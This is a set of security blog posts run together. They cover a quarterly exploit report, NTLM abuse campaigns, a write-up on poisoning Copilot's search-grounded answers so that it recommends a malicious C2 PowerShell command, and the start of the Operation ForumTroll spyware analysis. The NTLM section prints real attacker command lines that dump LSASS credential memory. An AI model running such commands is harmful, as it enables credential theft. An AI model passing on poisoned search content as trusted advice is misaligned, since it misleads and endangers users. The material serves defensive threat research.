In Q3 2025, as before, the most common exploits targeted vulnerable Microsoft Office products.

Most Windows exploits detected by Kaspersky solutions targeted the following vulnerabilities:

  • CVE-2018-0802: a remote code execution vulnerability in the Equation Editor component
  • CVE-2017-11882: another remote code execution vulnerability, also affecting Equation Editor
  • CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to assume control of the system

These vulnerabilities historically have been exploited by threat actors more frequently than others, as discussed in previous reports. In the third quarter, we also observed threat actors actively exploiting Directory Traversal vulnerabilities that arise during archive unpacking in WinRAR. While the originally published exploits for these vulnerabilities are not applicable in the wild, attackers have adapted them for their needs.

  • CVE-2023-38831: a vulnerability in WinRAR that involves improper handling of objects within archive contents We discussed this vulnerability in detail in a 2024 report.
  • CVE-2025-6218 (ZDI-CAN-27198): a vulnerability that enables an attacker to specify a relative path and extract files into an arbitrary directory. A malicious actor can extract the archive into a system application or startup directory to execute malicious code. For a more detailed analysis of the vulnerability, see our Q2 2025 report.
  • CVE-2025-8088: a zero-day vulnerability similar to CVE-2025-6128, discovered during an analysis of APT attacks The attackers used NTFS Streams to circumvent controls on the directory into which files were unpacked. We will take a closer look at this vulnerability below.

It should be pointed out that vulnerabilities discovered in 2025 are rapidly catching up in popularity to those found in 2023.

All the CVEs mentioned can be exploited to gain initial access to vulnerable systems. We recommend promptly installing updates for the relevant software.

Dynamics of the number of Windows users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)

According to our telemetry, the number of Windows users who encountered exploits increased in the third quarter compared to the previous reporting period. However, this figure is lower than that of Q3 2024.

For Linux devices, exploits for the following OS kernel vulnerabilities were detected most frequently:

  • CVE-2022-0847, also known as Dirty Pipe: a vulnerability that allows privilege escalation and enables attackers to take control of running applications
  • CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
  • CVE-2021-22555: a heap overflow vulnerability in the Netfilter kernel subsystem. The widespread exploitation of this vulnerability is due to its use of popular memory modification techniques: manipulating “msg_msg” primitives, which leads to a Use-After-Free security flaw.

Dynamics of the number of Linux users encountering exploits, Q1 2023 — Q3 2025. The number of users who encountered exploits in Q1 2023 is taken as 100% (download)

A look at the number of users who encountered exploits suggests that it continues to grow, and in Q3 2025, it already exceeds the Q1 2023 figure by more than six times.

It is critically important to install security patches for the Linux operating system, as it is attracting more and more attention from threat actors each year – primarily due to the growing number of user devices running Linux.

Most common published exploits

In Q3 2025, exploits targeting operating system vulnerabilities continue to predominate over those targeting other software types that we track as part of our monitoring of public research, news, and PoCs. That said, the share of browser exploits significantly increased in the third quarter, matching the share of exploits in other software not part of the operating system.

Distribution of published exploits by platform, Q1 2025 (download)

Distribution of published exploits by platform, Q2 2025 (download)

Distribution of published exploits by platform, Q3 2025 (download)

It is noteworthy that no new public exploits for Microsoft Office products appeared in Q3 2025, just as none did in Q2. However, PoCs for vulnerabilities in Microsoft SharePoint were disclosed. Since these same vulnerabilities also affect OS components, we categorized them under operating system vulnerabilities.

Vulnerability exploitation in APT attacks

We analyzed data on vulnerabilities that were exploited in APT attacks during Q3 2025. The following rankings draw on our telemetry, research, and open-source data.

TOP 10 vulnerabilities exploited in APT attacks, Q3 2025 (download)

APT attacks in Q3 2025 were dominated by zero-day vulnerabilities, which were uncovered during investigations of isolated incidents. A large wave of exploitation followed their public disclosure. Judging by the list of software containing these vulnerabilities, we are witnessing the emergence of a new go-to toolkit for gaining initial access into infrastructure and executing code both on edge devices and within operating systems. It bears mentioning that long-standing vulnerabilities, such as CVE-2017-11882, allow for the use of various data formats and exploit obfuscation to bypass detection. By contrast, most new vulnerabilities require a specific input data format, which facilitates exploit detection and enables more precise tracking of their use in protected infrastructures. Nevertheless, the risk of exploitation remains quite high, so we strongly recommend applying updates already released by vendors.

C2 frameworks

In this section, we will look at the most popular C2 frameworks used by threat actors and analyze the vulnerabilities whose exploits interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks on users during the third quarter of 2025, according to open sources.

Top 10 C2 frameworks used by APT groups to compromise user systems in Q3 2025 (download)

Metasploit, whose share increased compared to Q2, tops the list of the most prevalent C2 frameworks from the past quarter. It is followed by Sliver and Mythic. The Empire framework also reappeared on the list after being inactive in the previous reporting period. What stands out is that Adaptix C2, although fairly new, was almost immediately embraced by attackers in real-world scenarios. Analyzed sources and samples of malicious C2 agents revealed that the following vulnerabilities were used to launch them and subsequently move within the victim’s network:

  • CVE-2020-1472, also known as ZeroLogon, allows for compromising a vulnerable operating system and executing commands as a privileged user.
  • CVE-2021-34527, also known as PrintNightmare, exploits flaws in the Windows print spooler subsystem, also enabling remote access to a vulnerable OS and high-privilege command execution.
  • CVE-2025-6218 or CVE-2025-8088 are similar Directory Traversal vulnerabilities that allow extracting files from an archive to a predefined path without the archiving utility notifying the user. The first was discovered by researchers but subsequently weaponized by attackers. The second is a zero-day vulnerability.

Interesting vulnerabilities

This section highlights the most noteworthy vulnerabilities that were publicly disclosed in Q3 2025 and have a publicly available description.

ToolShell (CVE-2025-49704 and CVE-2025-49706, CVE-2025-53770 and CVE-2025-53771): insecure deserialization and an authentication bypass

ToolShell refers to a set of vulnerabilities in Microsoft SharePoint that allow attackers to bypass authentication and gain full control over the server.

  • CVE-2025-49704 involves insecure deserialization of untrusted data, enabling attackers to execute malicious code on a vulnerable server.
  • CVE-2025-49706 allows access to the server by bypassing authentication.
  • CVE-2025-53770 is a patch bypass for CVE-2025-49704.
  • CVE-2025-53771 is a patch bypass for CVE-2025-49706.

These vulnerabilities form one of threat actors’ combinations of choice, as they allow for compromising accessible SharePoint servers with just a few requests. Importantly, they were all patched back in July, which further underscores the importance of promptly installing critical patches. A detailed description of the ToolShell vulnerabilities can be found in our blog.

CVE-2025-8088: a directory traversal vulnerability in WinRAR

CVE-2025-8088 is very similar to CVE-2025-6218, which we discussed in our previous report. In both cases, attackers use relative paths to trick WinRAR into extracting archive contents into system directories. This version of the vulnerability differs only in that the attacker exploits Alternate Data Streams (ADS) and can use environment variables in the extraction path.

CVE-2025-41244: a privilege escalation vulnerability in VMware Aria Operations and VMware Tools

Details about this vulnerability were presented by researchers who claim it was used in real-world attacks in 2024.

At the core of the vulnerability lies the fact that an attacker can substitute the command used to launch the Service Discovery component of the VMware Aria tooling or the VMware Tools utility suite. This leads to the unprivileged attacker gaining unlimited privileges on the virtual machine. The vulnerability stems from an incorrect regular expression within the get-versions.sh script in the Service Discovery component, which is responsible for identifying the service version and runs every time a new command is passed.

Conclusion and advice

The number of recorded vulnerabilities continued to rise in Q3 2025, with some being almost immediately weaponized by attackers. The trend is likely to continue in the future.

The most common exploits for Windows are primarily used for initial system access. Furthermore, it is at this stage that APT groups are actively exploiting new vulnerabilities. To hinder attackers’ access to infrastructure, organizations should regularly audit systems for vulnerabilities and apply patches in a timely manner. These measures can be simplified and automated with Kaspersky Systems Management. Kaspersky Next can provide comprehensive and flexible protection against cyberattacks of any complexity.

Old tech, new vulnerabilities: NTLM abuse, ongoing exploitation in 2025

Just like the 2000s

Flip phones grew popular, Windows XP debuted on personal computers, Apple introduced the iPod, peer-to-peer file sharing via torrents was taking off, and MSN Messenger dominated online chat. That was the tech scene in 2001, the same year when Sir Dystic of Cult of the Dead Cow published SMBRelay, a proof-of-concept that brought NTLM relay attacks out of theory and into practice, demonstrating a powerful new class of authentication relay exploits.

Ever since that distant 2001, the weaknesses of the NTLM authentication protocol have been clearly exposed. In the years that followed, new vulnerabilities and increasingly sophisticated attack methods continued to shape the security landscape. Microsoft took up the challenge, introducing mitigations and gradually developing NTLM’s successor, Kerberos. Yet more than two decades later, NTLM remains embedded in modern operating systems, lingering across enterprise networks, legacy applications, and internal infrastructures that still rely on its outdated mechanisms for authentication.

Although Microsoft has announced its intention to retire NTLM, the protocol remains present, leaving an open door for attackers who keep exploiting both long-standing and newly discovered flaws.

In this blog post, we take a closer look at the growing number of NTLM-related vulnerabilities uncovered over the past year, as well as the cybercriminal campaigns that have actively weaponized them across different regions of the world.

How NTLM authentication works

NTLM (New Technology LAN Manager) is a suite of security protocols offered by Microsoft and intended to provide authentication, integrity, and confidentiality to users.

In terms of authentication, NTLM is a challenge-response-based protocol used in Windows environments to authenticate clients and servers. Such protocols depend on a shared secret, typically the client’s password, to verify identity. NTLM is integrated into several application protocols, including HTTP, MSSQL, SMB, and SMTP, where user authentication is required. It employs a three-way handshake between the client and server to complete the authentication process. In some instances, a fourth message is added to ensure data integrity.

The full authentication process appears as follows:

  1. The client sends a NEGOTIATE_MESSAGE to advertise its capabilities.
  2. The server responds with a CHALLENGE_MESSAGE to verify the client’s identity.
  3. The client encrypts the challenge using its secret and responds with an AUTHENTICATE_MESSAGE that includes the encrypted challenge, the username, the hostname, and the domain name.
  4. The server verifies the encrypted challenge using the client’s password hash and confirms its identity. The client is then authenticated and establishes a valid session with the server. Depending on the application layer protocol, an authentication confirmation (or failure) message may be sent by the server.

Importantly, the client’s secret never travels across the network during this process.

NTLM is dead — long live NTLM

Despite being a legacy protocol with well-documented weaknesses, NTLM continues to be used in Windows systems and hence actively exploited in modern threat campaigns. Microsoft has announced plans to phase out NTLM authentication entirely, with its deprecation slated to begin with Windows 11 24H2 and Windows Server 2025 (1, 2, 3), where NTLMv1 is removed completely, and NTLMv2 disabled by default in certain scenarios. Despite at least three major public notices since 2022 and increased documentation and migration guidance, the protocol persists, often due to compatibility requirements, legacy applications, or misconfigurations in hybrid infrastructures.

As recent disclosures show, attackers continue to find creative ways to leverage NTLM in relay and spoofing attacks, including new vulnerabilities. Moreover, they introduce alternative attack vectors inherent to the protocol, which will be further explored in the post, specifically in the context of automatic downloads and malware execution via WebDAV following NTLM authentication attempts.

Persistent threats in NTLM-based authentication

NTLM presents a broad threat landscape, with multiple attack vectors stemming from its inherent design limitations. These include credential forwarding, coercion-based attacks, hash interception, and various man-in-the-middle techniques, all of them exploiting the protocol’s lack of modern safeguards such as channel binding and mutual authentication. Prior to examining the current exploitation campaigns, it is essential to review the primary attack techniques involved.

Hash leakage

Hash leakage refers to the unintended exposure of NTLM authentication hashes, typically caused by crafted files, malicious network paths, or phishing techniques. This is a passive technique that doesn’t require any attacker actions on the target system. A common scenario involving this attack vector starts with a phishing attempt that includes (or links to) a file designed to exploit native Windows behaviors. These behaviors automatically initiate NTLM authentication toward resources controlled by the attacker. Leakage often occurs through minimal user interaction, such as previewing a file, clicking on a remote link, or accessing a shared network resource. Once attackers have the hashes, they can reuse them in a credential forwarding attack.

Coercion-based attacks

In coercion-based attacks, the attacker actively forces the target system to authenticate to an attacker-controlled service. No user interaction is needed for this type of attack. For example, tools like PetitPotam or PrinterBug are commonly used to trigger authentication attempts over protocols such as MS-EFSRPC or MS-RPRN. Once the victim system begins the NTLM handshake, the attacker can intercept the authentication hash or relay it to a separate target, effectively impersonating the victim on another system. The latter case is especially impactful, allowing immediate access to file shares, remote management interfaces, or even Active Directory Certificate Services, where attackers can request valid authentication certificates.

Credential forwarding

Credential forwarding refers to the unauthorized reuse of previously captured NTLM authentication tokens, typically hashes, to impersonate a user on a different system or service. In environments where NTLM authentication is still enabled, attackers can leverage previously obtained credentials (via hash leakage or coercion-based attacks) without cracking passwords. This is commonly executed through Pass-the-Hash (PtH) or token impersonation techniques. In networks where NTLM is still in use, especially in conjunction with misconfigured single sign-on (SSO) or inter-domain trust relationships, credential forwarding may provide extensive access across multiple systems.

This technique is often used to facilitate lateral movement and privilege escalation, particularly when high-privilege credentials are exposed. Tools like Mimikatz allow extraction and injection of NTLM hashes directly into memory, while Impacket’s wmiexec.py, PsExec.py, and secretsdump.py can be used to perform remote execution or credential extraction using forwarded hashes.

Man-in-the-Middle (MitM) attacks

An attacker positioned between a client and a server can intercept, relay, or manipulate authentication traffic to capture NTLM hashes or inject malicious payloads during the session negotiation. In environments where safeguards such as digital signing or channel binding tokens are missing, these attacks are not only possible but frequently easy to execute.

Among MitM attacks, NTLM relay remains the most enduring and impactful method, so much so that it has remained relevant for over two decades. Originally demonstrated in 2001 through the SMBRelay tool by Sir Dystic (member of Cult of the Dead Cow), NTLM relay continues to be actively used to compromise Active Directory environments in real-world scenarios. Commonly used tools include Responder, Impacket’s NTLMRelayX, and Inveigh. When NTLM relay occurs within the same machine from which the hash was obtained, it is also referred to as NTLM reflexion attack.

NTLM exploitation in 2025

Over the past year, multiple vulnerabilities have been identified in Windows environments where NTLM remains enabled implicitly. This section highlights the most relevant CVEs reported throughout the year, along with key attack vectors observed in real-world campaigns.

CVE-2024‑43451

CVE-2024‑43451 is a vulnerability in Microsoft Windows that enables the leakage of NTLMv2 password hashes with minimal or no user interaction, potentially resulting in credential compromise.

The vulnerability exists thanks to the continued presence of the MSHTML engine, a legacy component originally developed for Internet Explorer. Although Internet Explorer has been officially deprecated, MSHTML remains embedded in modern Windows systems for backward compatibility, particularly with applications and interfaces that still rely on its rendering or link-handling capabilities. This dependency allows .url files to silently invoke NTLM authentication processes through crafted links without necessarily being open. While directly opening the malicious .url file reliably triggers the exploit, the vulnerability may also be activated through alternative user actions such as right clicking, deleting, single-clicking, or just moving the file to a different folder.

Attackers can exploit this flaw by initiating NTLM authentication over SMB to a remote server they control (specifying a URL in UNC path format), thereby capturing the user’s hash. By obtaining the NTLMv2 hash, an attacker can execute a pass-the-hash attack (e.g. by using tools like WMIExec or PSExec) to gain network access by impersonating a valid user, without the need to know the user’s actual credentials.

A particular case of this vulnerability occurs when attackers use WebDAV servers, a set of extensions to the HTTP protocol, which enables collaboration on files hosted on web servers. In this case, a minimal interaction with the malicious file, such as a single click or a right click, triggers automatic connection to the server, file download, and execution. The attackers use this flaw to deliver malware or other payloads to the target system. They also may combine this with hash leaking, for example, by installing a malicious tool on the victim system and using the captured hashes to perform lateral movement through that tool.

The vulnerability was addressed by Microsoft in its November 2024 security updates. In patched environments, motion, deletion, right-clicking the crafted .url file, etc. won’t trigger a connection to a malicious server. However, when the user opens the exploit, it will still work.

After the disclosure, the number of attacks exploiting the vulnerability grew exponentially. By July this year, we had detected around 600 suspicious .url files that contain the necessary characteristics for the exploitation of the vulnerability and could represent a potential threat.

BlindEagle campaign delivering Remcos RAT via CVE-2024-43451

BlindEagle is an APT threat actor targeting Latin American entities, which is known for their versatile campaigns that mix espionage and financial attacks. In late November 2024, the group started a new attack targeting Colombian entities, using the Windows vulnerability CVE-2024-43451 to distribute Remcos RAT. BlindEagle created .url files as a novel initial dropper. These files were delivered through phishing emails impersonating Colombian government and judicial entities and using alleged legal issues as a lure. Once the recipients were convinced to download the malicious file, simply interacting with it would trigger a request to a WebDAV server controlled by the attackers, from which a modified version of Remcos RAT was downloaded and executed. This version contained a module dedicated to stealing cryptocurrency wallet credentials.

The attackers executed the malware automatically by specifying port 80 in the UNC path. This allowed the connection to be made directly using the WebDAV protocol over HTTP, thereby bypassing an SMB connection. This type of connection also leaks NTLM hashes. However, we haven’t seen any subsequent usage of these hashes.

Following this campaign and throughout 2025, the group persisted in launching multiple attacks using the same initial attack vector (.url files) and continued to distribute Remcos RAT.

We detected more than 60 .url files used as initial droppers in BlindEagle campaigns. These were sent in emails impersonating Colombian judicial authorities. All of them communicated via WebDAV with servers controlled by the group and initiated the attack chain that used ShadowLadder or Smoke Loader to finally load Remcos RAT in memory.

Head Mare campaigns against Russian targets abusing CVE-2024-43451

Another attack detected after the Microsoft disclosure involves the hacktivist group Head Mare. This group is known for perpetrating attacks against Russian and Belarusian targets.

In past campaigns, Head Mare exploited various vulnerabilities as part of its techniques to gain initial access to its victims’ infrastructure. This time, they used CVE 2024-43451. The group distributed a ZIP file via phishing emails under the name “Договор на предоставление услуг №2024-34291” (“Service Agreement No. 2024-34291”). This had a .url file named “Сопроводительное письмо.docx” (translated as “Cover letter.docx”).

The .url file connected to a remote SMB server controlled by the group under the domain:

document-file[.]ru/files/documents/zakupki/MicrosoftWord.exe

The domain resolved to the IP address 45.87.246.40 belonging to the ASN 212165, used by the group in the campaigns previously reported by our team.

According to our telemetry data, the ZIP file was distributed to more than a hundred users, 50% of whom belong to the manufacturing sector, 35% to education and science, and 5% to government entities, among other sectors. Some of the targets interacted with the .url file.

To achieve their goals at the targeted companies, Head Mare used a number of publicly available tools, including open-source software, to perform lateral movement and privilege escalation, forwarding the leaked hashes. Among these tools detected in previous attacks are Mimikatz, Secretsdump, WMIExec, and SMBExec, with the last three being part of the Impacket suite tool.

In this campaign, we detected attempts to exploit the vulnerability CVE-2023-38831 in WinRAR, used as an initial access in a campaign that we had reported previously, and in two others, we found attempts to use tools related to Impacket and SMBMap.

The attack, in addition to collecting NTLM hashes, involved the distribution of the PhantomCore malware, part of the group’s arsenal.

CVE-2025-24054/CVE-2025-24071

CVE-2025-24071 and CVE-2025-24054, initially registered as two different vulnerabilities, but later consolidated under the second CVE, is an NTLM hash leak vulnerability affecting multiple Windows versions, including Windows 11 and Windows Server. The vulnerability is primarily exploited through specially crafted files, such as .library-ms files, which cause the system to initiate NTLM authentication requests to attacker-controlled servers.

This exploitation is similar to CVE-2024-43451 and requires little to no user interaction (such as previewing a file), enabling attackers to capture NTLMv2 hashes and gain unauthorized access or escalate privileges within the network. The most common and widespread exploitation of this vulnerability occurs with .library-ms files inside ZIP/RAR archives, as it is easy to trick users into opening or previewing them. In most incidents we observed, the attackers used ZIP archives as the distribution vector.

Trojan distribution in Russia via CVE-2025-24054

In Russia, we identified a campaign distributing malicious ZIP archives with the subject line “акт_выполненных_работ_апрель” (certificate of work completed April). These files inside the archives masqueraded as .xls spreadsheets but were in fact .library-ms files that automatically initiated a connection to servers controlled by the attackers. The malicious files contained the same embedded server IP address 185.227.82.72.

When the vulnerability was exploited, the file automatically connected to that server, which also hosted versions of the AveMaria Trojan (also known as Warzone) for distribution. AveMaria is a remote access Trojan (RAT) that gives attackers remote control to execute commands, exfiltrate files, perform keylogging, and maintain persistence.

CVE-2025-33073

CVE-2025-33073 is a high-severity NTLM reflection vulnerability in the Windows SMB client’s access control. An authenticated attacker within the network can manipulate SMB authentication, particularly via local relay, to coerce a victim’s system into authenticating back to itself as SYSTEM. This allows the attacker to escalate privileges and execute code at the highest level.

The vulnerability relies on a flaw in how Windows determines whether a connection is local or remote. By crafting a specific DNS hostname that partially overlaps with the machine’s own name, an attacker can trick the system into believing the authentication request originates from the same host. When this happens, Windows switches into a “local authentication” mode, which bypasses the normal NTLM challenge-response exchange and directly injects the user’s token into the host’s security subsystem. If the attacker has coerced the victim into connecting to the crafted hostname, the token provided is essentially the machine’s own, granting the attacker privileged access on the host itself.

This behavior emerges because the NTLM protocol sets a special flag and context ID whenever it assumes the client and server are the same entity. The attacker’s manipulation causes the operating system to treat an external request as internal, so the injected token is handled as if it were trusted. This self-reflection opens the door for the adversary to act with SYSTEM-level privileges on the target machine.

Suspicious activity in Uzbekistan involving CVE-2025-33073

We have detected suspicious activity exploiting the vulnerability on a target belonging to the financial sector in Uzbekistan.

We have obtained a traffic dump related to this activity, and identified multiple strings within this dump that correspond to fragments related to NTLM authentication over SMB. The dump contains authentication negotiations showing SMB dialects, NTLMSSP messages, hostnames, and domains. In particular, the indicators:

  • The hostname localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA, a manipulated hostname used to trick Windows into treating the authentication as local
  • The presence of the IPC$ resource share, common in NTLM relay/reflection attacks, because it allows an attacker to initiate authentication and then perform actions reusing that authenticated session

The incident began with exploitation of the NTLM reflection vulnerability. The attacker used a crafted DNS record to coerce the host into authenticating against itself and obtain a SYSTEM token. After that, the attacker checked whether they had sufficient privileges to execute code using batch files that ran simple commands such as whoami:

%COMSPEC% /Q /c echo whoami ^&gt; %SYSTEMROOT%\Temp\__output &gt; %TEMP%\execute.bat &amp; %COMSPEC% /Q /c %TEMP%\execute.bat &amp; del %TEMP%\execute.bat

Persistence was then established by creating a suspicious service entry in the registry under:

reg:\\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\YlHXQbXO

With SYSTEM privileges, the attacker attempted several methods to dump LSASS (Local Security Authority Subsystem Service) memory:

  1. Using rundll32.exe:
    C:\Windows\system32\cmd.exe /Q /c CMD.exe /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%B \Windows\Temp\vdpk2Y.sav full
    The command locates the lsass.exe process, which holds credentials in memory, extracts its PID, and invokes an internal function of comsvcs.dll to dump LSASS memory and save it. This technique is commonly used in post-exploitation (e.g., Mimikatz or other “living off the land” tools).
  2. Loading a temporary DLL (BDjnNmiX.dll):
    C:\Windows\system32\cmd.exe /Q /c cMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tAsKLISt /fi "Imagename eq lSAss.ex*" | find "lsass""') do rundll32.exe C:\Windows\Temp\BDjnNmiX.dll #+0000^24 ^%B \Windows\Temp\sFp3bL291.tar.log full
    The command tries to dump the LSASS memory again, but this time using a custom DLL.
  3. Running a PowerShell script (Base64-encoded):
    The script leverages MiniDumpWriteDump via reflection. It uses the Out-Minidump function that writes a process dump with all process memory to disk, similar to running procdump.exe.

Several minutes later, the attacker attempted lateral movement by writing to the administrative share of another host, but the attempt failed. We didn’t see any evidence of further activity.

Protection and recommendations

Disable/Limit NTLM

As long as NTLM remains enabled, attackers can exploit vulnerabilities in legacy authentication methods. Disabling NTLM, or at the very least limiting its use to specific, critical systems, significantly reduces the attack surface. This change should be paired with strict auditing to identify any systems or applications still dependent on NTLM, helping ensure a secure and seamless transition.

Implement message signing

NTLM works as an authentication layer over application protocols such as SMB, LDAP, and HTTP. Many of these protocols offer the ability to add signing to their communications. One of the most effective ways to mitigate NTLM relay attacks is by enabling SMB and LDAP signing. These security features ensure that all messages between the client and server are digitally signed, preventing attackers from tampering with or relaying authentication traffic. Without signing, NTLM credentials can be intercepted and reused by attackers to gain unauthorized access to network resources.

Enable Extended Protection for Authentication (EPA)

EPA ties NTLM authentication to the underlying TLS or SSL session, ensuring that captured credentials cannot be reused in unauthorized contexts. This added validation can be applied to services such as web servers and LDAP, significantly complicating the execution of NTLM relay attacks.

Monitor and audit NTLM traffic and authentication logs

Regularly reviewing NTLM authentication logs can help identify abnormal patterns, such as unusual source IP addresses or an excessive number of authentication failures, which may indicate potential attacks. Using SIEM tools and network monitoring to track suspicious NTLM traffic enhances early threat detection and enables a faster response.

Conclusions

In 2025, NTLM remains deeply entrenched in Windows environments, continuing to offer cybercriminals opportunities to exploit its long-known weaknesses. While Microsoft has announced plans to phase it out, the protocol’s pervasive presence across legacy systems and enterprise networks keeps it relevant and vulnerable. Threat actors are actively leveraging newly disclosed flaws to refine credential relay attacks, escalate privileges, and move laterally within networks, underscoring that NTLM still represents a major security liability.

The surge of NTLM-focused incidents observed throughout 2025 illustrates the growing risks of depending on outdated authentication mechanisms. To mitigate these threats, organizations must accelerate deprecation efforts, enforce regular patching, and adopt more robust identity protection frameworks. Otherwise, NTLM will remain a convenient and recurring entry point for attackers.

Hacking Artificial Intelligence (AI): Hijacking AI Trust to Spread C2 Instructions

Welcome back, aspiring cyberwarriors!

We’ve come to treat AI assistants like ChatGPT and Copilot as knowledgeable partners. We ask questions, and they provide answers, often with a reassuring sense of authority. We trust them. But what if that very trust is a backdoor for attackers?

This isn’t a theoretical threat. At the DEF CON security conference, offensive security engineer Tobias Diehl delivered a startling presentation revealing how he could “poison the wells” of AI. He demonstrated that attackers don’t need to hack complex systems to spread malicious code and misinformation; they just need to exploit the AI’s blind trust in the internet.

Let’s break down Tobias Diehl’s work and see what lessons we can learn from it.

Step #1: AI’s Foundational Flaw

The core of the vulnerability Tobias discovered is really simple. When a user asks Microsoft Copilot a question about a topic outside its original training data, it doesn’t just guess. It performs a Bing search and treats the top-ranked result as its “source of truth.” It then processes that content and presents it to the user as a definitive answer.


This is a critical flaw. While Bing’s search ranking algorithm has been refined for over a decade, it’s not infallible and can be manipulated. An attacker who can control the top search result for a specific query can effectively control what Copilot tells its users. This simple, direct pipeline from a search engine to an AI’s brain is the foundation of the attack.

Step #2: Proof Of Concept

Tobias leveraged a concept he calls a “data void,” which he describes as a “search‑engine vacuum.” A data void occurs when a search term exists but there is little or no relevant, up‑to‑date content available for it. In such a vacuum, an attacker can more easily create and rank their own content. Moreover, data voids can be deliberately engineered.

Using the proof‑of‑concept from Microsoft’s Zero Day Quest event, we can see how readily our trust can be manipulated. Zero Day Quest invites security researchers to discover and report high‑impact vulnerabilities in Microsoft products. Anticipating a common user query—“Where can I stream Zero Day Quest?”—Tobias began preparing the attack surface. He created a website, https://www.watchzerodayquest.com, containing the following content:

As you can see, the page resembles a typical FAQ, but it includes a malicious PowerShell command. After four weeks, Tobias managed to get the site ranked for this event.

Consequently, a user could receive the following response about Zero Day Quest from Copilot:

At the time of writing, Copilot does not respond that way.

But there are other AI assistants.

And as you can see, some of them easily provide dangerous installation instructions for command‑and‑control (C2) beacons.

Summary

This research shows that AI assistants that trust real‑time search results have a big weakness. Because they automatically trust what a search engine says, attackers can easily exploit them, causing serious damage.

The post Hacking Artificial Intelligence (AI): Hijacking AI Trust to Spread C2 Instructions first appeared on Hackers Arise.

Mem3nt0 mori – The Hacking Team is back!

In March 2025, Kaspersky detected a wave of infections that occurred when users clicked on personalized phishing links sent via email. No further action was required to initiate the infection; simply visiting the malicious website using Google Chrome or another Chromium-based web browser was enough.

The malicious links were personalized and extremely short-lived to avoid detection. However, Kaspersky’s technologies successfully identified a sophisticated zero-day exploit that was used to escape Google Chrome’s sandbox. After conducting a quick analysis, we reported the vulnerability to the Google security team, who fixed it as CVE-2025-2783.

Acknowledgement for finding CVE-2025-2783 (excerpt from the security fixes included into Chrome 134.0.6998.177/.178)

Acknowledgement for finding CVE-2025-2783 (excerpt from the security fixes included into Chrome 134.0.6998.177/.178)

We dubbed this campaign Operation ForumTroll because the attackers sent personalized phishing emails inviting recipients to the Primakov Readings forum. The lures targeted media outlets, universities, research centers, government organizations, financial institutions, and other organizations in Russia. The functionality of the malware suggests that the operation’s primary purpose was espionage.

We traced the malware used in this attack back to 2022 and discovered more attacks by this threat actor on organizations and individuals in Russia and Belarus. While analyzing the malware used in these attacks, we discovered an unknown piece of malware that we identified as commercial spyware called “Dante” and developed by the Italian company Memento Labs (formerly Hacking Team).

Similarities in the code suggest that the Operation ForumTroll campaign was also carried out using tools developed by Memento Labs.

In this blog post, we’ll take a detailed look at the Operation ForumTroll attack chain and reveal how we discovered and identified the Dante spyware, which remained hidden for years after the Hacking Team rebrand.

Attack chain

Operation ForumTroll attack chain

Operation ForumTroll attack chain

In all known cases, infection occurred after the victim clicked a link in a spear phishing email that directed them to a malicious website. The website verified the victim and executed the exploit.

When we first discovered and began analyzing this campaign, the malicious website no longer contained the code responsible for carrying out the infection; it simply redirected visitors to the official Primakov Readings website.

Therefore, we could only work with the attack artifacts discovered during the first wave of infections. Fortunately, Kaspersky technologies detected nearly all of the main stages of the attack, enabling us to reconstruct and analyze the Operation ForumTroll attack chain.

Phishing email

Example of a malicious email used in this campaign (translated from Russian)

Example of a malicious email used in this campaign (translated from Russian)

The malicious emails sent by the attackers were disguised as invitations from the organizers of the Primakov Readings scientific and expert forum. These emails contained personalized links to track infections. The emails appeared authentic, contained no language errors, and were written in the style one would expect for an invitation to such an event. Proficiency in Russian and familiarity with local peculiarities are distinctive features of the ForumTroll APT group, traits that we have also observed in its other campaigns. However, mistakes in some of those other cases suggest that the attackers were not native Russian speakers.

Validator

The validator is a relatively small script executed by the browser. It validates the victim and securely downloads and executes the next stage of the attack.

The first action the validator performs is to calculate the SHA-256 of the random data received from the server using the WebGPU API. It then verifies the resulting hash. This is done using the open-source code of Marco Ciaramella’s sha256-gpu project. The main purpose of this check is likely to verify that the site is being visited by a real user with a real web browser, and not by a mail server that might follow a link, emulate a script, and download an exploit. Another possible reason for this check could be that the exploit triggers a vulnerability in the WebGPU API or relies on it for exploitation.

The validator sends the infection identifier, the result of the WebGPU API check and the newly generated public key to the C2 server for key exchange using the Elliptic-curve Diffie–Hellman (ECDH) algorithm. If the check is passed, the server responds with an AES-GCM key. This key is used to decrypt the next stage, which is hidden in requests to bootstrap.bundle.min.js and .woff2 font files. Following the timeline of events and the infection logic, this next stage should have been a remote code execution (RCE) exploit for Google Chrome, but it was not obtained during the attack.

Sandbox escape exploit

List of in-the-wild 0-days caught and reported by Kaspersky

List of in-the-wild 0-days caught and reported by Kaspersky

Over the years, we have discovered and reported on dozens of zero-day exploits that were actively used in attacks. However, CVE-2025-2783 is one of the most intriguing sandbox escape exploits we’ve encountered. This exploit genuinely puzzled us because it allowed attackers to bypass Google Chrome’s sandbox protection without performing any obviously malicious or prohibited actions. This was due to a powerful logical vulnerability caused by an obscure quirk in the Windows OS.

To protect against bugs and crashes, and enable sandboxing, Chrome uses a multi-process architecture. The main process, known as the browser process, handles the user interface and manages and supervises other processes. Sandboxed renderer processes handle web content and have limited access to system resources. Chrome uses Mojo and the underlying ipcz library, introduced to replace legacy IPC mechanisms, for interprocess communication between the browser and renderer processes.

The exploit we discovered came with its own Mojo and ipcz libraries that were statically compiled from official sources. This enabled attackers to communicate with the IPC broker within the browser process without having to manually craft and parse ipcz messages. However, this created a problem for us because, to analyze the exploit, we had to identify all the Chrome library functions it used. This involved a fair amount of work, but once completed, we knew all the actions performed by the exploit.

In short, the exploit does the following:

  • Resolves the addresses of the necessary functions and code gadgets from dll using a pattern search.
  • Hooks the v8_inspector::V8Console::Debug function. This allows attackers to escape the sandbox and execute the desired payload via a JavaScript call.
  • Starts executing a sandbox escape when attackers call console.debug(0x42, shellcode); from their script.
  • Hooks the ipcz::NodeLink::OnAcceptRelayedMessage function.
